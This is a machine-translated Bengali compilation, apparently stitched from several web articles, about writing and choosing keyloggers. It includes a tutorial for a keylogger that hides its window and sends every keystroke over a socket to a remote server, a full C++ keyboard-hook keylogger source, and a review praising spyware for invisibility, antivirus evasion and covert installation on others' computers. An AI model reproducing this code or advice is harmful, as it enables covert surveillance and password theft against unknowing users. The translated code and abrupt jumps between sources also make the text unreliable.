তথ্য নিরাপত্তা পরীক্ষাগার।                  তথ্য নিরাপত্তা পরীক্ষাগার কতক্ষণ লেগেছে?


এবং আপনি পড়া শুরু করার আগে, আমার ব্লগটি দেখুন, যেখানে আমি প্রোগ্রামিং, ভাইরোলজি এবং অন্যান্য আকর্ষণীয় বিষয়গুলির উপর আমার মূল নিবন্ধগুলি প্রকাশ করি
মূল নিবন্ধ -

সমস্ত তথ্য শুধুমাত্র তথ্যগত উদ্দেশ্যে প্রদান করা হয়. এই নিবন্ধের উপকরণ দ্বারা সৃষ্ট কোন সম্ভাব্য ক্ষতির জন্য প্রশাসন বা লেখক দায়ী নয়।


মুখবন্ধ
প্রায় এক মাস ধরে, আমি ক্রমাগত কীলগার সম্পর্কে বিভিন্ন অনুরোধ এবং প্রশ্ন পর্যবেক্ষণ করেছি। অনেকে খোঁজাখুঁজি করেও সোর্স কোড খুঁজে পায়নি, অনেকে খোঁজাখুঁজি করেও বিক্রয়কারীরা খুঁজে পায়নি ইত্যাদি।

এই নিবন্ধে আমি দেখাতে চাই যে মৌলিক কার্যকারিতা সহ আপনার নিজের কীলগার লেখা কতটা সহজ। আমি এখান থেকে ভিত্তি ধার করেছি - * * , বাগ সংশোধন করেছে এবং WinSocket এর সাথে ইন্টারঅ্যাক্ট করতে এটি পরিবর্তন করেছে।

উপকরণ
  • ভিজ্যুয়াল স্টুডিও 2015 কমিউনিটি আপডেট 4
  • ভিজ্যুয়াল C++ 2015
আবেদন কাঠামো
প্রথমত, আপনাকে কী-লগার সাধারণভাবে কীভাবে কাজ করবে তা নির্ধারণ করতে হবে। এটি FTP/মেইলে লগ পাঠানো, একটি সকেটে ক্লিক রেকর্ড করা, একটি গেটে একটি ফাইল পাঠানো, একটি ডাটাবেসে লগ লেখা।
আমি সকেট সঙ্গে বিদ্ধ করার সিদ্ধান্ত নিয়েছে. কেন? এটি সুবিধাজনক, সহজ এবং ব্যবহারযোগ্য।
পছন্দের উপর ভিত্তি করে, আমাদের 2টি অ্যাপ্লিকেশন করতে হবে:

সার্ভার
  • কনসোল অ্যাপ্লিকেশন যা ক্লায়েন্ট থেকে ডেটা গ্রহণ করবে এবং কনসোলে আউটপুট করবে
ক্লায়েন্ট
  • আসলে, কী-লগার নিজেই, যা সার্ভারে কীস্ট্রোক পাঠাবে
এবং আমরা সার্ভারের সাথে, সম্ভবত, শুরু করব।

সার্ভার
ভিজ্যুয়াল স্টুডিওতে একটি C++ কনসোল অ্যাপ্লিকেশন তৈরি করুন।
সব কোড অফিসে আছে। MSDN উদাহরণ - * লিঙ্কগুলি দেখতে ফোরামে লগইন করুন। *
আমাদের শুধু এতে কিছু মান প্রতিস্থাপন করতে হবে...
আসুন অবিলম্বে ধ্রুবক ভেরিয়েবলগুলি লিখি: বাফার আকার এবং সার্ভার পোর্ট যেখানে লগগুলি পাঠানো হবে

কোড:

#define DEFAULT_BUFLEN 1024 //Buffer #define DEFAULT_PORT "1337" //পোর্ট

ওয়ান-টাইম ডু/হোয়্যালের পরিবর্তে, আমরা একটি অন্তহীন লুপ সেট আপ করি যাতে আমরা ক্লায়েন্টের কাছ থেকে ডেটা গ্রহণ করব, এটি কনসোলে আউটপুট করব, সংযোগ বন্ধ করব এবং এটি আবার করব:

কোড:

করুন ( ClientSocket = accept(ListenSocket, NULL, NULL); // সংযোগটি স্বীকার করুন iResult = recv(ClientSocket, recvbuf, recvbuflen, 0); // লগটি পড়ুন যদি (iResult > 0) // লগটি খালি না থাকে printf("%s", recvbuf); //আউটপুট ক্লোজসকেট(ক্লায়েন্টসকেট);//কানেকশন মেমসেট বন্ধ করুন(recvbuf, 0, sizeof recvbuf);//রিলিজ মেমরি ) যখন (সত্য);

আমরা রিলিজে কম্পাইল করি, ডেডিকে আপলোড করি, আমাদের প্রয়োজনীয় পোর্ট খুলি এবং লঞ্চ করি

ক্লায়েন্ট


ভিজ্যুয়াল স্টুডিওতে একটি Win32 অ্যাপ্লিকেশন তৈরি করুন।
আমি উপরে বলেছি, আমি কীবোর্ড হুক নিয়েছি এবং হ্যান্ডলার থেকে ক্লিক করেছি * লিঙ্কগুলি দেখতে ফোরামে লগইন করুন। *
সকেটে ক্লিক পাঠানো নিরাপদ করতে, আমি চালু * লিঙ্কগুলি দেখতে ফোরামে লগইন করুন। *
এছাড়াও, আমরা অবিলম্বে ধ্রুবক ভেরিয়েবল সংজ্ঞায়িত করি: বাফার দৈর্ঘ্য, ডেডিক/কম্পিউটার আইপি এবং পোর্ট

কোড:

#define DEFAULT_BUFLEN 20000 #define SERVER_IP "127.0.0.1" #define SERVER_PORT "1337"

কিছু ভেরিয়েবলকে তাদের পদ্ধতি থেকে বের করে নিতে হয়েছিল এবং কোডটি সঠিকভাবে কাজ শুরু করার জন্য বিশ্বব্যাপী তৈরি করতে হয়েছিল:

কোড:

WSADATA wsaData; সকেট কানেক্টসকেট = INVALID_SOCKET; HHOOK _hook;KBDLLHOOKSTRUCT kbdStruct; char last window; int Save(int key_stroke);// দ্বিতীয় যুক্তিটি সরানো হয়েছে

আমরা অনুচ্ছেদের শুরুতে উদাহরণ অনুসরণ করে সার্ভারে ডেটা পাঠানোর জন্য একটি পদ্ধতি তৈরি করি। এর পরে, আমরা যেখানেই পোর্ট, আইপি এবং প্রেরিত তথ্যকে ফাংশন আর্গুমেন্ট দিয়ে প্রতিস্থাপন করি:

কোড:

অকার্যকর সেন্ডডেটা (char *ip, char * পোর্ট, char*ডেটা)

সংরক্ষণ পদ্ধতিতে, আমরা নিম্নলিখিতগুলি করি - আমরা দ্বিতীয় যুক্তিটি সরিয়ে ফেলি এবং সার্ভারে পাঠানোর জন্য একটি ফাইলে লগগুলির রেকর্ডিং পরিবর্তন করি:

কোড:

চর তথ্য; sprintf(ডেটা, "\n\n\n", window_title, s); সেন্ডডেটা(SERVER_IP, SERVER_PORT, ডেটা);

এর পরে, একই নীতি ব্যবহার করে, আমরা পরিষেবা কীস্ট্রোক পাঠানোর পরিবর্তন করি। আপনি এইভাবে চিঠি পাঠাতে পারেন:

কোড:

চর গ; sprintf(c, "%c", key_stroke); সেন্ডডেটা(SERVER_IP, SERVER_PORT, c);

আমরা কোড থেকে উইন্ডোটির দৃশ্যমানতার সাথে সম্পর্কিত সমস্ত কিছু কেটে ফেলেছি এবং আমরা সম্পন্ন করেছি।

শেষের সারি
যখন কী-লগার চালু করা হয়, তখন এটি প্রসেসগুলিতে ঝুলে থাকবে এবং প্রতিটি কীস্ট্রোক প্রক্রিয়া করবে। এটা সম্ভব যে কিছু অক্ষর ভুলভাবে প্রদর্শিত হবে, উদাহরণস্বরূপ, স্ল্যাশ, কিন্তু এই সব নিজেই সংশোধন করা যেতে পারে (সবকিছুর পরে, যদি সবকিছু নিখুঁত হয়, যীশু আমাকে ব্যক্তিগত কীলগারের সেলসম্যানকে চেক করতে বলে আমার প্রধানমন্ত্রীকে নক করবেন)।

অনেক লোকের একটি কম্পিউটারে অ্যাক্সেস আছে এমন পরিস্থিতিতে বিভিন্ন গুপ্তচর প্রোগ্রাম প্রয়োজনীয়।

এই পরিস্থিতিতে, ব্যবহারকারী তার কম্পিউটার থেকে কোন সাইটগুলি পরিদর্শন করেছে (উদাহরণস্বরূপ, শিশুদের দ্বারা), চুরি হয়েছে কিনা তা জানতে চাইতে পারে ক্রেডিট কার্ডসংরক্ষিত পাসওয়ার্ড, ইত্যাদি ব্যবহার করে এই সমস্যাগুলি পরিষ্কার করার জন্য আপনার প্রয়োজন হবে৷

আমাদের পর্যালোচনা আপনাকে সেরা পছন্দ করতে অনুমতি দেবে।

পছন্দের বৈশিষ্ট্য

একটি keylogger ঠিক কি? এটি এমন একটি প্রোগ্রাম যা কঠোরভাবে বলতে গেলে, কীবোর্ডের সাথে সরাসরি সম্পর্কিত নয়।

এটি কম্পিউটারের মেমরিতে ইনস্টল করা হয় এবং কাজ করে। প্রায়শই, এর কার্যকলাপের লক্ষণগুলি কম্পিউটারে দৃশ্যমান হয় না যদি না আপনি বিশেষভাবে তাদের সন্ধান করেন।

এই ধরনের একটি প্রোগ্রাম কীবোর্ডের সাথে পরোক্ষভাবে ইন্টারঅ্যাক্ট করে, অর্থাৎ, এটি পিসিতে এমন একটি প্রোগ্রামের সাথে কাজ করে যা মুদ্রণের সময় বোতাম টিপানোর ফলে প্রসেসর দ্বারা প্রাপ্ত সংকেতগুলিকে রূপান্তরিত করে।

অর্থাৎ, এই জাতীয় সফ্টওয়্যারের ক্রিয়াটি কীবোর্ডের মাধ্যমে প্রবেশ করা তথ্য সংগ্রহের লক্ষ্যে।

এই ধরনের ইউটিলিটি আছে বিভিন্ন ধরনের- কিছুর সাহায্যে আপনি কীবোর্ড থেকে টাইপ করা সমস্ত পাঠ্য দেখতে পারেন, অন্যদের সাথে - শুধুমাত্র ব্রাউজারে বা কোনো নির্বাচিত অ্যাপ্লিকেশনে যা টাইপ করা হয়েছিল।

কিছু প্রোগ্রাম এই ধরনের সূচক কনফিগার করার ক্ষমতা প্রদান করে, অন্যরা করে না।

তারা গোপনীয়তার ডিগ্রিতেও একে অপরের থেকে পৃথক। উদাহরণস্বরূপ, কিছু কার্যকলাপ সুস্পষ্ট, একটি শর্টকাট ডেস্কটপে অবশেষ, ইত্যাদি, যেমন প্রোগ্রামগুলি, উদাহরণস্বরূপ, শিশুদের কার্যকলাপ নিরীক্ষণের জন্য উপযুক্ত।

অন্যদের উপস্থিতি এবং কার্যকলাপের চিহ্নগুলি মোটেই লক্ষণীয় নয় - তারা লুকিয়ে কাজ করে এবং অন্য কারও কম্পিউটারে ইনস্টলেশনের জন্য উপযুক্ত, যখন ইনস্টলেশনের সত্যটি তৃতীয় পক্ষের ব্যবহারকারীর কাছ থেকে লুকানো দরকার।

এই ধরনের বৈচিত্র্যের কারণে, সবচেয়ে উপযুক্ত সফ্টওয়্যার নির্বাচন করা বেশ কঠিন হতে পারে।

এই উপাদান শীর্ষ উপস্থাপন সেরা প্রোগ্রাম, যা এই উদ্দেশ্যে ব্যবহার করা যেতে পারে। তাদের মধ্যে সঠিকটি বেছে নেওয়া সহজ।

স্পেসিফিকেশন

নির্বাচন প্রক্রিয়া সহজ করার জন্য সফটওয়্যারনীচের টেবিলটি শীর্ষে অন্তর্ভুক্ত সমস্ত প্রোগ্রামের প্রধান তুলনামূলক বৈশিষ্ট্যগুলি দেখায়।

নামলাইসেন্সের ধরনসংগৃহীত তথ্যের ধরনকার্যকরীডিজাইন
SC-কীলগবিনামুল্যেসবপ্রশস্তসরলীকৃত
ওয়াইডস্টেপ হ্যান্ডি কীলগারবিনামূল্যে/প্রদানসবপ্রশস্তউন্নত
প্রকৃত গুপ্তচরপেডসবখুব চওড়াস্ট্যান্ডার্ড
এলিট কিলগারপেডসবপ্রশস্তস্ট্যান্ডার্ড
ইঁদুর !বিনামূল্যে/প্রদানআগের থেকে কমবেশ চওড়ানান্দনিক
SPYGOবিনামুল্যেসংস্করণের উপর নির্ভর করেসংস্করণের উপর নির্ভর করেস্ট্যান্ডার্ড উইন্ডোজ চেহারা
Ardamax Keylogger 2.9বিনামুল্যেকীবোর্ড থেকেসংকুচিতসরলীকৃত
NS Keylogger ব্যক্তিগত মনিটর 3.8বিনামুল্যেসবসংকুচিতসরলীকৃত
কেজিবি স্পাইপেডকীবোর্ড + খুলুন প্রোগ্রাম থেকেসংকীর্ণসরল
গোল্ডেন কীলগার 1.32বিনামুল্যেকীবোর্ড থেকেখুবই সংকীর্ণসরল

এই টেবিলের বৈশিষ্ট্যগুলির উপর ভিত্তি করে, আপনার নির্দিষ্ট প্রয়োজনীয়তার সাথে সবচেয়ে উপযুক্ত প্রোগ্রামটি বেছে নেওয়া সহজ।

এই ইউটিলিটিগুলি নীচে আরও বিশদে বর্ণনা করা হয়েছে।

SC-কীলগ

এটি একটি বিশাল এবং কার্যকরী গুপ্তচর প্রোগ্রাম যা বিনামূল্যে বিতরণ করা হয়।

কীবোর্ড থেকে প্রবেশ করা তথ্যগুলি বিশেষভাবে ট্র্যাক করার পাশাপাশি, এটি পরিদর্শন করা সাইটগুলির ঠিকানা, পাসওয়ার্ড এবং ব্রাউজার উইন্ডোগুলি খুলতেও সক্ষম।

কম্পিউটারে সম্পাদিত সমস্ত কর্ম সম্পর্কে সম্পূর্ণ তথ্য প্রদান করে। এই ক্ষেত্রে, জেনারেট করা ফাইলটি অন্য ডিভাইস থেকে দূর থেকে দেখা যেতে পারে।

  • সুযোগ দূরবর্তী প্রবেশাধিকারঅন্য ডিভাইস থেকে একটি ফাইলে;
  • সঠিক সেটিংস সহ কম্পিউটারে প্রোগ্রাম কার্যকলাপের কোন চিহ্ন নেই;
  • সংগৃহীত ডেটার বিভিন্নতা - পিসিতে প্রায় সমস্ত ক্রিয়া সম্পর্কে তথ্য অ্যাক্সেস করা যেতে পারে।
  • শুধুমাত্র NT0 পর্যন্ত পাসওয়ার্ড সংরক্ষণ করে;
  • খুব সহজ মেনু এবং unaesthetic নকশা;
  • ফলাফল প্রদর্শনের জন্য একটি বরং অসুবিধাজনক বিন্যাস।

সক্রিয়ভাবে এই সফ্টওয়্যার ব্যবহার ব্যবহারকারীরা কি বলেন? "ব্যবহারকারীর কাছে একেবারে অদৃশ্য", "ডেটা নিয়মিত ইমেলের মাধ্যমে আসে।"

ওয়াইডস্টেপ হ্যান্ডি কীলগার

এই অ্যাপ্লিকেশন বিনামূল্যে বিতরণ করা হয়. সম্পূর্ণ প্রদত্ত সংস্করণের দাম $35।

বেশ আকর্ষণীয় এবং কার্যকরী প্রোগ্রাম যা অর্থের মূল্যবান যদি আপনি এটি দিতে ইচ্ছুক হন।

স্বাতন্ত্র্যসূচক বৈশিষ্ট্য- একটি নির্দিষ্ট ফ্রিকোয়েন্সিতে রেকর্ড করা ডেটা পাঠানোর ক্ষমতা। অন্যথায় এটি সূক্ষ্ম কাজ করে, প্রায়শই এই তালিকার অন্যান্য প্রোগ্রামের তুলনায় আরো স্থিতিশীল।

  • বিভিন্ন ধরনের তথ্য সংগ্রহ;
  • ব্যবহারকারীর কম্পিউটারে কাজের সম্পূর্ণ অদৃশ্যতা;
  • সহজ ইন্টারফেস এবং নিয়ন্ত্রণ.
  • নকশা পূর্ববর্তী প্রোগ্রাম থেকে ভাল, কিন্তু এখনও মহান না;
  • ফলাফল প্রদর্শন বিন্যাস অসুবিধাজনক;
  • প্রদত্ত সংস্করণটি বেশ ব্যয়বহুল।

এই সফ্টওয়্যার সম্পর্কে ব্যবহারকারীদের মতামত নিম্নরূপ: “সুবিধাজনক, সহজ এবং কার্যকরী প্রোগ্রাম। কাজ করার সময় বেশ অদৃশ্য।"

প্রকৃত গুপ্তচর

এটি একটি কার্যকরী এবং জটিল অর্থপ্রদানের প্রোগ্রাম যার খরচ 600 রুবেল। তবে, এটির একটি ডেমো সংস্করণ রয়েছে যা বিনামূল্যে।

এই সফটওয়্যারটির বৈশিষ্ট্য- একটি নির্দিষ্ট সময়ের মধ্যে ক্ষমতা।

এটি একটি গ্রাফিক পাসওয়ার্ড/কী প্রবেশের সমস্যা সমাধান করতে সাহায্য করে, যা সম্প্রতি ব্যাপক হয়ে উঠেছে।

  • অনেক ধরনের তথ্য সংগৃহীত এবং একটি নির্দিষ্ট সময়ের মধ্যে স্ক্রিন থেকে স্ক্রিনশট নেওয়ার ক্ষমতা;
  • অন্যদের একটি বড় সংখ্যা অতিরিক্ত ফাংশনএবং বৈশিষ্ট্য;
  • শুধুমাত্র কর্মই নয়, সেগুলি সম্পাদিত হওয়ার সময়ও রেকর্ড করে;
  • উৎপন্ন লগ এনক্রিপ্ট করে।
  • ফ্রি ডেমো সংস্করণে কাজের সময়কাল (তথ্য সংগ্রহ) 40 মিনিট;
  • পরিশোধিত বিতরণ, যদিও কমবেশি যুক্তিসঙ্গত মূল্য;
  • প্রোগ্রামের ওজন বেশ বড়।

সম্পর্কে ব্যবহারকারী পর্যালোচনা এই আবেদনহল: “প্রোগ্রামটি চমৎকার। ভালো করেছেন প্রোগ্রামাররা!”

এলিট কিলগার

একটি মোটামুটি উচ্চ মূল্য সঙ্গে প্রদত্ত প্রোগ্রাম- 69 ডলার। এটি একটি পিসিতে নিম্ন-স্তরের মোডে সম্পূর্ণরূপে অজ্ঞাতভাবে কাজ করে, এটিকে প্রায় সম্পূর্ণরূপে সনাক্ত করা যায় না।

আকর্ষণীয় এবং সুবিধাজনক বৈশিষ্ট্য- সফ্টওয়্যার স্বয়ংক্রিয় লঞ্চ, সিস্টেম নিজেই লঞ্চের সাথে একযোগে ঘটছে.

এমনকি বিশেষ অ্যান্টি-কিলগার দ্বারাও এটি সনাক্ত করা বা সনাক্ত করা কঠিন।

  • সম্পূর্ণরূপে লুকানো ক্রিয়া এবং সনাক্ত করা কঠিন;
  • নিম্ন-স্তরের ড্রাইভার-টাইপ অপারেটিং ফরম্যাট এবং সিস্টেম বুট হলে স্বয়ংক্রিয় স্টার্টআপ;
  • এটি শুধুমাত্র প্রধান নয়, কীবোর্ডের পরিষেবা কীগুলির প্রেসগুলিও ট্র্যাক করে৷
  • যথেষ্ট একটি জটিল সিস্টেমএকটি পিসিতে প্রোগ্রাম ইনস্টল করা;
  • প্রোগ্রামটি ব্যয়বহুল, তবে আপনি রাশিয়ান ইন্টারনেটে একটি পুরানো হ্যাক সংস্করণ খুঁজে পেতে পারেন;
  • স্বতন্ত্র প্রোগ্রাম সেটিংসের একটি বরং জটিল সিস্টেম, যা যাইহোক, নিজেকে ন্যায্যতা দেয়।

ব্যবহারকারীরা এই সফ্টওয়্যার সম্পর্কে কি বলেন? " ভালো প্রোগ্রাম", "জেটলগারের একটু ছোট।"

ইঁদুর !

প্রদত্ত লাইসেন্স সহ বেশ সাধারণ এবং জনপ্রিয়, কার্যকরী ইউটিলিটি।

যাইহোক, ব্যক্তিগত ব্যবহারের জন্য, একটি বিনামূল্যে ডেমো সংস্করণ সীমিত সময়ের জন্য প্রদান করা হয়।

প্রোগ্রাম খুব সহজ- যে কোন উন্নত ব্যবহারকারী একই লিখতে পারেন। যাইহোক, এটি অ্যান্টিভাইরাস দ্বারা সম্পূর্ণরূপে সনাক্ত করা যায় না বিশেষ প্রোগ্রাম, এই ধরনের সফ্টওয়্যার সনাক্তকরণ.

  • সরলতা, কার্যকারিতা এবং উচ্চ স্থায়িত্ব;
  • ন্যূনতম ফাইলের ওজন এবং স্থান কম্পিউটারে এটি দ্বারা দখল করা;
  • বেশ অনেক সেটিংস।
  • একটি বরং অপ্রীতিকর নকশা, কালো, সাদা এবং লাল তৈরি;
  • পূর্বে বর্ণিত প্রোগ্রামগুলির তুলনায় কার্যকারিতা কিছুটা সংকীর্ণ;
  • লগ দেখতে অসুবিধাজনক এবং সাধারণত অসুবিধাজনক ইন্টারফেস এবং ব্যবহার.

ব্যবহারকারীরা এই প্রোগ্রাম সম্পর্কে নিম্নলিখিত বলে: "এটি স্থিরভাবে কাজ করে, তবে কিছুটা সহজ," "প্রোগ্রামটি ভাল, এটি আপনাকে অলক্ষিত ডেটা সংগ্রহ করতে দেয়।"

SPYGO

এটি একটি মৌলিকভাবে নতুন কী-লগার, কাজ করার জন্য ডিজাইন করা হয়েছে এবং একজন রাশিয়ান প্রোগ্রামার দ্বারা বিকাশ করা হয়েছে।

18 জানুয়ারী, 2015 প্রকাশিত। কোথায়?" সহজ উপায় খোঁজার প্রয়োজন নেই, বিশেষ করে ইন্টারনেটে :)। বিনামূল্যের জন্য keylogger ডাউনলোড করুনআপনি করতে পারেন, তবে বিভিন্ন সীমাবদ্ধতা বা বিস্ময়ের জন্য প্রস্তুত থাকুন। প্রথমত, কীলগারের কার্যকারিতা কম হবে। বিনামূল্যে ডেমো পূর্ণাঙ্গ প্রোগ্রামসাধারণত সীমাবদ্ধতা থাকে, কখনও কখনও অপ্রত্যাশিত :)। দ্বিতীয়ত, কোন অতিরিক্ত, সাধারণত সহগামী কী-লগার থাকবে না অতিরিক্ত প্রোগ্রামঅথবা লগ প্রসেসিং ফাংশন, ট্র্যাকিং সেটিংস, ইত্যাদি তৃতীয়ত, আপনি নির্মাতাদের কাছ থেকে কীলগার সমর্থন পাবেন না। বরং কোথায় খুঁজছি বিনামূল্যের জন্য keylogger ডাউনলোড করুন, নিজের লেখার কথা ভাবছেন? সহজতম উইন্ডোজের জন্য কী-লগারআপনার যদি উইন্ডোজ প্রোগ্রামিংয়ের বেসিক থাকে তবে এটি লেখা খুব কঠিন নয়। সুতরাং, আমরা কীলগার উত্সগুলি প্রকাশ করতে থাকি। উইন্ডোজের জন্য কীলগার C++ এ লেখা, স্বাভাবিকভাবেই Win API ব্যবহার করে। কী হুক SetWindowsHookEx(WH_KEYBOARD_LL,...) ব্যবহার করে প্রয়োগ করা হয়। একটি এক্সিকিউটেবল ফাইল একটি dll লাইব্রেরি ছাড়াই তৈরি করা হয়, তাই বলতে গেলে, একটি ফাইলে একটি কীলগার! সুবিধাগুলি সুস্পষ্ট - এটি সংগঠিত করা সহজ দূরবর্তী ইনস্টলেশন, ছোট আকার, বৃহত্তর গোপনীয়তা (dll সব অ্যাপ্লিকেশনের প্রক্রিয়ায় হ্যাং হবে না)। এই ইন্টারসেপশন পদ্ধতির অসুবিধা হল যে এটি অস্থির, বা সাধারণত উইন্ডোজ 7-এ কাজ করতে অস্বীকার করে। একটি dll (WH_KEYBOARD_LL) ব্যবহার না করে কী আটকানো সাতটির মধ্যে ভুল বোঝাবুঝির কারণ হয়। কীলগার কাজ করতে আপনাকে শামানিজম এবং জাদু ব্যবহার করতে হবে। অবশ্যই, সর্বদা একটি উপায় আছে (এটি নিজের জন্য দেখুন, এবং শক্তি আপনার সাথে থাকতে পারে :))। আপনি SetWindowsHookEx (WH_KEYBOARD_LL ,...) ব্যবহার করে একটি সাধারণ লিখতে পারেন। উইন্ডোজ 7 এ সবকিছু ঠিক থাকবে। WH_KEYBOARD_LL কিভাবে Windows 8 এ কাজ করবে তা এখনো জানা যায়নি।

লগিং একটি ফাইল স্ট্রিম মাধ্যমে সংগঠিত হয়. লগ পঠনযোগ্যতা উন্নত করতে কিছু জিনিস যোগ করা হয়েছে। কোড ছোট এবং দক্ষ. নির্দিষ্ট সংযোজন সহ উইন্ডোজের জন্য একটি কীলগারের জন্য উপযুক্ত এবং প্রশ্ন হল আমি কোথায় পারি বিনামূল্যের জন্য keylogger ডাউনলোড করুনঅদৃশ্য হয়ে যায়

উত্স ফাইল *.exe:

#অন্তর্ভুক্ত< windows.h >#অন্তর্ভুক্ত< fstream >#অন্তর্ভুক্ত< iostream >#অন্তর্ভুক্ত< algorithm >#অন্তর্ভুক্ত< string >নামস্থান std ব্যবহার করে; স্ট্রিং myKey; BOOL isCaps(); char logName = "keys.txt";//LOG ফাইলের নাম // গতি MSG বার্তার জন্য সমস্ত ভেরিয়েবল শুরু করুন; হুক কীবোর্ড হুক; char keyNameBuff; PKBDLLHOOKSTRUCT p; স্বাক্ষরবিহীন int sc; //Windows void writeToLog(স্ট্রিং s) এর জন্য keylogger // লগে একটি স্ট্রিং লিখুন ( অফস্ট্রিম লগ(logName, ios::app); // লগ ফাইল লগ খোলে<< s; //writes to log.. with format "[""]" log.close(); //closes log } // Кейлоггер для Windows BOOL isCaps() { if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0 || ((GetKeyState(VK_SHIFT) & 0x8000)!=0)) { return 1; } else { return 0; } } // Кейлоггер для Windows LRESULT CALLBACK hookProc(int nCode, WPARAM wParam, LPARAM lParam)//proc to be run on hooked key { if (wParam == WM_KEYDOWN)//if key event type is key down { //get the keyname from lParam p = (PKBDLLHOOKSTRUCT) (lParam);//used to get the vkCode sc = MapVirtualKey(p->vkCode, 0); sc<<= 16; //shift 16 bits if (!(p->vkCode<= 32))//if not ascii { sc |= 0x1 << 24; // <- extended bit } GetKeyNameTextA(sc,keyNameBuff,16); // Кейлоггер для Windows - исходник //gets ASCII key name from sc into keyNameBuff //write keyname to log myKey = keyNameBuff; if (myKey == "Space") { writeToLog(" "); } else if (myKey == "Right Alt") { writeToLog(""); } else if (myKey == "Enter") { writeToLog(""); } else if (myKey == "Left Alt") { writeToLog(""); } else if (myKey == "Tab") { writeToLog(""); } else if (myKey == "Backspace") { writeToLog(""); } else if (myKey == "Caps Lock") { writeToLog(""); } else if (myKey == "Delete") { writeToLog(""); } else if (myKey == "Right Shift") { writeToLog(""); } else if (myKey == "Shift") { writeToLog(""); } else if (myKey == "Ctrl") { writeToLog(""); } else if (myKey == "Right Ctrl") { writeToLog(""); } // if its none of the special keys else { if (isCaps() == 1) { writeToLog(myKey); } else { std::transform(myKey.begin(), myKey.end(), myKey.begin(), ::tolower); writeToLog(myKey); } } } return CallNextHookEx(NULL, nCode, wParam, lParam); } // Кейлоггер для Windows void msgLoop() { while (GetMessage(&message,NULL,0,0)) { TranslateMessage(&message); DispatchMessage(&message); } } // Кейлоггер для Windows int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0); //hooks keyboard msgLoop(); //stops from closing // Кейлоггер для Windows - исходник UnhookWindowsHookEx(keyboardHook); //unhooks return 0; //Never run }

আপনি আপনার পছন্দ মতো যেকোনো উন্নয়ন পরিবেশ ব্যবহার করতে পারেন (Dev-C++, MSVS, Borland C++)। আমরা সংগ্রহ করি, প্রয়োজনীয় স্বতন্ত্র পরিবর্তন করি এবংউইন্ডোজের জন্য কী-লগারআপনি যেখানে পারেন তার জন্য প্রস্তুত এবং সময় ব্যয় করুনডাউনলোড

হ্যালো, খাব্রোভস্কের বাসিন্দারা।

আমি WinAPI ব্যবহার করে C++ এ একটি সফ্টওয়্যার কীবোর্ড লগার লেখার সিদ্ধান্ত নিয়েছি। আমি বলতে পারি না যে আমি এটি লিখার সময় কোনো ধরনের গুপ্তচরবৃত্তির লক্ষ্য অনুসরণ করছিলাম; বরং, আমি WinAPI হুকগুলির সাথে পরিচিত হয়েছি। যেহেতু এটি এতটা খারাপ নয়, এবং সফ্টওয়্যার লগার সম্পর্কে Habré-এ কোন নিবন্ধ নেই, তাই আমি আমার নিজের লেখার সিদ্ধান্ত নিয়েছি।

এটা কিভাবে করা হয়?

কী-প্রেস ধরার জন্য একটি কীবোর্ড হুক ব্যবহার করা হতো।

HHOOK WINAPI SetWindowsHookEx(_In_ int idHook, _In_ HOOKPROC lpfn, _In_ HINSTANCE hMod, _In_ DWORD dwThreadId);

সমস্ত কীবোর্ড কীস্ট্রোক আটকানোর জন্য, idHook প্যারামিটার হিসাবে WH_KEYBOARD বা WH_KEYBOARD_LL নির্দিষ্ট করা সুবিধাজনক। শুধুমাত্র পার্থক্য হল যে WH_KEYBOARD_LL সিস্টেম কী টিপেও বাধা দেয় (যেমন Alt বা যেকোনো কী যখন Alt চেপে থাকে), তাই আমরা এটি নির্বাচন করব।

Lpfn হল একটি ফাংশনের একটি পয়েন্টার যা বাধাপ্রাপ্ত বার্তাগুলিকে প্রক্রিয়া করে (আমাদের ক্ষেত্রে, কীস্ট্রোক)।
hMod হল একটি অ্যাপ্লিকেশন ইনস্ট্যান্স হ্যান্ডেল যাতে একটি প্রসেসিং ফাংশন থাকে।
dwThreadId হল সেই থ্রেডের শনাক্তকারী যার বার্তা আমরা আটকাতে চাই। সমস্ত থ্রেড থেকে বার্তাগুলিকে আটকাতে এই প্যারামিটারটি অবশ্যই 0 এ সেট করতে হবে৷

রিটার্ন মান হল আমাদের হুকের একটি হ্যান্ডেল, যা প্রস্থান করার সময় UnhookWindowsHookEx ফাংশন দিয়ে মুক্ত করতে হবে।
সাহায্যের জন্য MSDN-এর দিকে তাকিয়ে, আমরা একটি ফাংশনের একটি প্রোটোটাইপ দেখতে পাই যা এই হুক থেকে বার্তাগুলি প্রক্রিয়া করে।

LRESULT কলব্যাক LowLevelKeyboardProc(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam);

nCode অবশ্যই HC_ACTION এর সমান হতে হবে, অন্যথায় বার্তাটি অন্য প্রক্রিয়ায় দেওয়া হবে।
wParam নিম্নলিখিত মানগুলির মধ্যে একটি: WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, বা WM_SYSKEYUP৷
lParam হল KBDLLHOOKSTRUCT কাঠামোর একটি নির্দেশক, যে ক্ষেত্রগুলিতে আমরা শুধুমাত্র 2টি প্যারামিটারে আগ্রহী: vkCode (ভার্চুয়াল কোড) এবং চাপা কীটির স্ক্যানকোড।
এই ফাংশনটি অবশ্যই CallNextHookEx ফাংশনের মান প্রদান করবে, অন্যথায় পরবর্তী হুক যা ইভেন্টটি প্রক্রিয়া করে ভুল বার্তা পরামিতি পেতে পারে।
প্রতিবার একটি কী টিপলে, আমাদের প্রোগ্রাম এই ইভেন্টটিকে আটকাবে এবং আমাদের LowLevelKeyboardProc পদ্ধতির মাধ্যমে এটি প্রক্রিয়া করবে।

একটি কী-এর ভার্চুয়াল এবং স্ক্যান কোডকে প্রতীকী আকারে পুনরায় অনুবাদ করার জন্য, আমাদের ToAsciiEx ফাংশন প্রয়োজন।

Int WINAPI ToAsciiEx(_In_ UINT uVirtKey, _In_ UINT uScanCode, _In_opt_ const BYTE *lpKeyState, _Out_ LPWORD lpChar, _In_ UINT uFlags, _In_opt_ HKL);

প্রথম 2টি পরামিতি যথাক্রমে কীটির ভার্চুয়াল এবং স্ক্যান কোড।
lpKeyState — কীবোর্ডের অবস্থা, কোন কী চাপা/সক্রিয় আছে তা পরীক্ষা করে।
lpChar হল একটি দ্বৈত শব্দের একটি নির্দেশক যেখানে ফাংশনটি কীটির প্রতীকী উপস্থাপনা লিখবে।
uFlags হল একটি প্যারামিটার যা মেনু কার্যকলাপ নির্দেশ করে।
